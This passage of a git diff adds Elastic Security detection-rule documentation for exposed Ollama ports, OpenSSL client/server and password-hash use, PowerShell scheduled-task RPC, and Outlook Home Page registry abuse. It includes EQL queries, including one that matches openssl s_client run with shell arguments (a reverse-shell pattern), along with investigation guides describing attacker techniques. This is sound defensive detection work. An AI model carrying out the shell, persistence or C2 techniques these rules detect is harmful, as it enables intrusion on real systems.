external-facing IPs within trusted infrastructure. +- Legitimate remote access through VPN or authenticated proxy (add proxy IPs to exclusions). + + +*Response and remediation* + + +- Restrict access immediately by setting OLLAMA_HOST=127.0.0.1:11434 or applying firewall rules. +- If exploitation is suspected, stop Ollama and audit ~/.ollama/models/ for unauthorized models. +- Review Ollama and system logs for signs of compromise. +- Consider running Ollama in a container with network isolation. + + +==== Rule query + + +[source, js] +---------------------------------- +network where event.action == "connection_accepted" and + process.name in ("ollama", "ollama.exe") and + destination.port == 11434 and + source.ip != null and source.ip != "0.0.0.0" and + not cidrmatch(source.ip, + "10.0.0.0/8", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "::1", + "fe80::/10", + "fc00::/7", + "ff00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-client-or-server-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-client-or-server-activity.asciidoc new file mode 100644 index 0000000000..a170ab4fc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-client-or-server-activity.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-openssl-client-or-server-activity]] +=== Openssl Client or Server Activity + +This rule identifies when the openssl client or server is used to establish a connection. Attackers may use openssl to establish a secure connection to a remote server or to create a secure server to receive connections. This activity may be used to exfiltrate data or establish a command and control channel. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/openssl/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Openssl Client or Server Activity* + + +OpenSSL is a widely-used toolkit for implementing secure communication via SSL/TLS protocols. In Linux environments, it can function as a client or server to encrypt data transmissions. Adversaries may exploit OpenSSL to establish encrypted channels for data exfiltration or command and control. The detection rule identifies suspicious OpenSSL usage by monitoring process execution patterns, specifically targeting atypical client-server interactions, while excluding known benign processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "openssl" process with arguments indicating client or server activity, such as "s_client" with "-connect" or "s_server" with "-port". +- Check the parent process of the "openssl" execution to determine if it is a known benign process or if it is potentially suspicious, especially if it is not in the excluded list (e.g., "/pro/xymon/client/ext/awsXymonCheck.sh", "/opt/antidot-svc/nrpe/plugins/check_cert"). +- Investigate the network connections established by the "openssl" process to identify the remote server's IP address and port, and assess whether these are known or potentially malicious. +- Analyze the timing and frequency of the "openssl" executions to determine if they align with normal operational patterns or if they suggest unusual or unauthorized activity. +- Correlate the "openssl" activity with other security events or logs to identify any related suspicious behavior, such as data exfiltration attempts or command and control communications. + + +*False positive analysis* + + +- Known benign processes such as "/pro/xymon/client/ext/awsXymonCheck.sh" and "/opt/antidot-svc/nrpe/plugins/check_cert" are already excluded to reduce false positives. Ensure these paths are accurate and up-to-date in your environment. +- Regularly review and update the list of excluded parent processes to include any additional internal scripts or monitoring tools that frequently use OpenSSL for legitimate purposes. +- Monitor for any internal applications or services that may use OpenSSL in a similar manner and consider adding them to the exclusion list if they are verified as non-threatening. +- Implement logging and alerting to track the frequency and context of OpenSSL usage, which can help identify patterns that are consistently benign and warrant exclusion. +- Engage with system administrators to understand routine OpenSSL usage patterns in your environment, which can inform further refinement of the detection rule to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration or command and control activities. +- Terminate the suspicious OpenSSL process identified by the alert to halt any ongoing unauthorized encrypted communications. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unusual network connections or unauthorized file access. +- Review and update firewall rules to block unauthorized outbound connections from the affected system, focusing on the ports and IP addresses involved in the suspicious activity. +- Reset credentials and review access permissions for accounts on the affected system to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement enhanced monitoring and logging for OpenSSL usage across the network to detect similar activities in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "openssl" and ( + ( + process.args == "s_client" and process.args : ("-connect", "*:*") and + process.args in ( + "sh", "dash", "bash", "zsh", + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh" + ) and not process.args == "-showcerts" + ) or + (process.args == "s_server" and process.args == "-port") +) and +not process.parent.executable in ( + "/pro/xymon/client/ext/awsXymonCheck.sh", "/opt/antidot-svc/nrpe/plugins/check_cert", "/etc/zabbix/scripts/check_dane_tlsa.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ +* Sub-technique: +** Name: Asymmetric Cryptography +** ID: T1573.002 +** Reference URL: https://attack.mitre.org/techniques/T1573/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-password-hash-generation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-password-hash-generation.asciidoc new file mode 100644 index 0000000000..468fa027eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-openssl-password-hash-generation.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-openssl-password-hash-generation]] +=== OpenSSL Password Hash Generation + +This rule detects the usage of the "openssl" binary to generate password hashes on Linux systems. The "openssl" command is a cryptographic utility that can be used to generate password hashes. Attackers may use "openssl" to generate password hashes for new user accounts or to change the password of existing accounts, which can be leveraged to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating OpenSSL Password Hash Generation* + + +OpenSSL is a robust cryptographic toolkit used for secure communications and data protection, including generating password hashes. Adversaries may exploit OpenSSL to create hashes for unauthorized user accounts or modify existing ones, aiding in persistent access to Linux systems. The detection rule identifies suspicious OpenSSL executions by monitoring specific process actions and arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "openssl" command with the "passwd" argument, as this indicates an attempt to generate a password hash. +- Identify the user account associated with the process execution to determine if the action was performed by a legitimate user or a potential adversary. +- Check the system logs and user activity around the time of the alert to identify any suspicious behavior or unauthorized access attempts. +- Investigate any recent changes to user accounts on the system, focusing on new account creations or password modifications that coincide with the alert. +- Correlate the alert with other security events or alerts from the same host to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the system and its role within the organization, as well as any potential data exposure or system access implications. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use OpenSSL to generate password hashes for legitimate user account management. To handle this, create exceptions for specific administrator accounts or processes that are known to perform these tasks regularly. +- Automated scripts for user account provisioning or maintenance that utilize OpenSSL for password hashing can also cause false positives. Identify these scripts and exclude their execution paths or associated user accounts from the rule. +- Security tools or compliance checks that periodically verify password strength or integrity using OpenSSL might be flagged. Review these tools and whitelist their operations to prevent unnecessary alerts. +- Development environments where OpenSSL is used for testing password hashing functions can generate alerts. Exclude these environments or specific test accounts from monitoring to reduce noise. +- Scheduled tasks or cron jobs that involve OpenSSL for password management purposes should be identified and excluded if they are part of regular system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious OpenSSL processes identified by the detection rule to halt ongoing unauthorized password hash generation. +- Conduct a thorough review of user accounts on the affected system to identify any unauthorized accounts or changes to existing accounts, and revert any unauthorized modifications. +- Change passwords for all user accounts on the affected system, especially those with elevated privileges, to ensure that any compromised credentials are no longer valid. +- Implement additional monitoring on the affected system to detect any further unauthorized use of OpenSSL or similar tools, focusing on process execution and command-line arguments. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and scope of the breach, and to assess potential impacts on other systems. +- Review and update access controls and authentication mechanisms to enhance security and prevent similar incidents in the future, ensuring that only authorized users can perform sensitive operations. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and process.name == "openssl" +and process.args == "passwd" and ?process.args_count >= 4 and +not process.args in ("-help", "--help", "-h") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outbound-scheduled-task-activity-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outbound-scheduled-task-activity-via-powershell.asciidoc new file mode 100644 index 0000000000..be0958fe36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outbound-scheduled-task-activity-via-powershell.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-outbound-scheduled-task-activity-via-powershell]] +=== Outbound Scheduled Task Activity via PowerShell + +Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Outbound Scheduled Task Activity via PowerShell* + + +PowerShell, a powerful scripting language in Windows, can automate tasks via the Task Scheduler. Adversaries exploit this by creating scheduled tasks to execute malicious scripts, facilitating lateral movement or remote discovery. The detection rule identifies suspicious PowerShell activity by monitoring for the Task Scheduler DLL load and subsequent outbound RPC connections, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.entity_id associated with the suspicious activity. +- Examine the process execution history on the affected host to determine if the PowerShell process (powershell.exe, pwsh.exe, or powershell_ise.exe) has executed any unexpected or unauthorized scripts. +- Check the network logs for the host to identify any unusual or unauthorized outbound RPC connections, particularly those targeting port 135, and verify if the destination addresses are legitimate and expected. +- Investigate the context of the taskschd.dll library load by reviewing recent scheduled tasks on the host to identify any newly created or modified tasks that could be linked to the alert. +- Correlate the alert with other security events or logs from the same host or network segment to identify any patterns or additional indicators of compromise that may suggest lateral movement or remote discovery attempts. + + +*False positive analysis* + + +- Legitimate administrative tasks using PowerShell may trigger the rule if they involve loading the Task Scheduler DLL and making RPC connections. To manage this, identify and whitelist specific scripts or processes that are known to perform these actions regularly. +- Automated system maintenance or monitoring tools might also load the Task Scheduler DLL and establish RPC connections. Review these tools and exclude their process IDs or hashes from the detection rule to prevent false alerts. +- Software updates or installations that use PowerShell scripts could mimic the behavior detected by the rule. Monitor update schedules and temporarily disable the rule during these periods if necessary, or create exceptions for known update processes. +- Developers or IT staff using PowerShell for legitimate remote management tasks may inadvertently trigger the rule. Implement user-based exceptions for trusted personnel or restrict the rule to non-administrative accounts to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement or data exfiltration. +- Terminate the suspicious PowerShell process identified in the alert to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional malicious scheduled tasks or scripts and remove them. +- Review and clean up any unauthorized scheduled tasks created on the system to ensure no persistence mechanisms remain. +- Reset credentials for any accounts that were used or potentially compromised during the incident to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the attack. +- Implement enhanced monitoring for similar PowerShell and scheduled task activities across the network to detect and respond to future threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan = 5s + [any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe")] + [network where host.os.type == "windows" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outlook-home-page-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outlook-home-page-registry-modification.asciidoc new file mode 100644 index 0000000000..ab369633e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-outlook-home-page-registry-modification.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-outlook-home-page-registry-modification]] +=== Outlook Home Page Registry Modification + +Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/breaking-the-rules-tough-outlook-for-home-page-attacks/ +* https://github.com/trustedsec/specula + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Outlook Home Page Registry Modification* + + + +*Possible investigation steps* + + +- What does the written registry value tell you about the configured Outlook content target? + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`, plus which Outlook folder or Today page the key controls. + - Hint: check for a deletion on the same `registry.path` after the alert time -- if removed, urgency shifts to post-exploitation cleanup or transient testing. If a loopback or localhost URL is present, check for COM object registrations (CLSID entries) serving content on that port. + - Implication: a loopback or localhost URL with a non-standard port is a strong indicator of Specula-style COM server abuse -- do not treat it as benign internal traffic. External URLs, local HTML files, and UNC paths also support concern. The investigation path is narrower only when the target uses a non-loopback internal hostname or a path consistent with enterprise branding. + +- Which process wrote the setting, and does the writer context fit expected Outlook administration? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `user.id`. + - Hint: if the direct writer is a broker or service process, check `Effective_process.executable` for the true initiator. If signer fields are absent on the registry event, recover the writer from surrounding process telemetry. + - Implication: the writer context is harder to justify when a script host, LOLBin, unsigned, or user-writable binary writes the key, or when the user context does not match known Outlook administration tooling; it is more explainable when the writer is a signed deployment or profile-management tool with a recognized signer. + +- What does the target URL or path resolve to, and does it fit a known abuse pattern? + - Focus: the written target in `registry.data.strings`; for URL targets, review same-host DNS "lookup_result" and connection events with `dns.question.name`, `dns.resolved_ip`, and `destination.ip`; for path targets, pivot to `file.path` on the same `host.id`. + - Hint: if the target is a UNC path, confirm whether the same host reached the backing server in surrounding connection activity and whether a local `file.path` copy was staged before Outlook could render it. + - Implication: external URLs to rare domains or public IPs, user-writable HTML files, and unrecognized network shares support concern. The target is less concerning when it resolves to a recognized enterprise portal or branding content path. Missing corroborating network or file telemetry is unresolved, not benign. + +- Do file events or Outlook process events show the target being staged or activated? + - Focus: same-host file activity tied to the writer or target path (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`), and Outlook or Office process events (`process.executable`, `process.parent.executable`) that access the configured target. + - Hint: for URL targets, correlate Outlook activity to the same resolved IPs or domains; for local or UNC paths, look for the same path being opened after the write. + - Implication: concern rises when the writer stages HTML or script content in user-writable locations and Outlook reaches the same target, or when the modified profile triggers suspicious child or network activity. Absence of staging or activation does not clear the registry write but reduces immediate execution risk. + +- If the local evidence stays suspicious, how did the account authenticate to this host before the registry write? + - Why: writing the Outlook Home Page key requires HKCU hive access, so the session origin can reveal compromised credentials, lateral movement, or unexpected remote access. + - Focus: if Windows Security logs are ingested, query authentication events for `user.id` and `host.id` around the alert time, checking `winlog.logon.type`, `source.ip`, and `winlog.event_data.AuthenticationPackageName`. If authentication data is unavailable, fall back to `process.Ext.session_info.logon_type` from the writer's process event. + - Implication: supports concern when the session originated from an unexpected source IP, used an unusual logon type or authentication package, or cannot be tied to the user's normal access pattern for this host. + +- If the local evidence stays suspicious, does this host show related alerts or adjacent Outlook Home Page variants? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify precursor delivery, suspicious Office execution, network command-and-control, or additional persistence activity on the same asset or user. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broader compromise when the asset also shows delivery, suspicious Office execution, or follow-on persistence alerts; stays locally bounded when surrounding host alerts are limited to routine administration or unrelated benign activity. + +- Escalate when the registry change, writer context, target resolution, execution evidence, and alert scope align on unauthorized Outlook customization or persistence; close only when all evidence fits a recognized Outlook customization or profile-management workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Enterprise branding, profile migration, or configuration-management tooling can legitimately write these keys. Confirm when the `registry.path` family, `registry.data.strings` target, and writer identity all match the same customization or deployment workflow, with no staged external content or divergent infrastructure. +- Before creating an exception, build on the specific `registry.data.strings` value, `process.code_signature.subject_name` or `Effective_process.executable`, and the specific `registry.path` family. Avoid exceptions on `registry.value` alone, `user.name` alone, or the entire Outlook registry subtree. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed `registry.path` family, `registry.data.strings` target, and writer identity that proved the Outlook customization workflow. Create an exception using the same `registry.data.strings` value, writer signer, and `registry.path` family. +- If suspicious but unconfirmed, preserve the modified `registry.path`, written value data, recovered `process.entity_id`, writer identity, any staged `file.path` content, and any related destination or alert context. Apply reversible containment first, such as blocking the page target or limiting Outlook use on the affected host, and avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.code_signature.subject_name`, `registry.data.strings` target, and the modified `registry.path` values before initiating response actions. Use available endpoint response integrations to contain the affected host or account when the writer, target, staging, or activation evidence indicates unauthorized Outlook Home Page abuse. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- Restore the affected Outlook Webview or Today values to a known-good state, remove any malicious local HTML or script content identified during the investigation, and block confirmed malicious domains, IPs, or network shares referenced by the page target. +- If the target points to external infrastructure or a shared path, review proxy, DNS, firewall, and related-alert data for additional hosts or users that reached the same content, then scope any follow-on delivery or persistence activity found on those assets. +- After containment, review whether Outlook Home Page functionality is still needed in the environment and restrict who can manage those settings. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "URL" and + registry.path : ( + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Webview\\*", + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Today\\*" + ) and registry.data.strings : ("*://*", "*:\\*", "\\\\*\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Home Page +** ID: T1137.004 +** Reference URL: https://attack.mitre.org/techniques/T1137/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-panw-and-elastic-defend-command-and-control-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-panw-and-elastic-defend-command-and-control-correlation.asciidoc new file mode 100644 index 0000000000..ec93abcb21 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-panw-and-elastic-defend-command-and-control-correlation.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-20-panw-and-elastic-defend-command-and-control-correlation]] 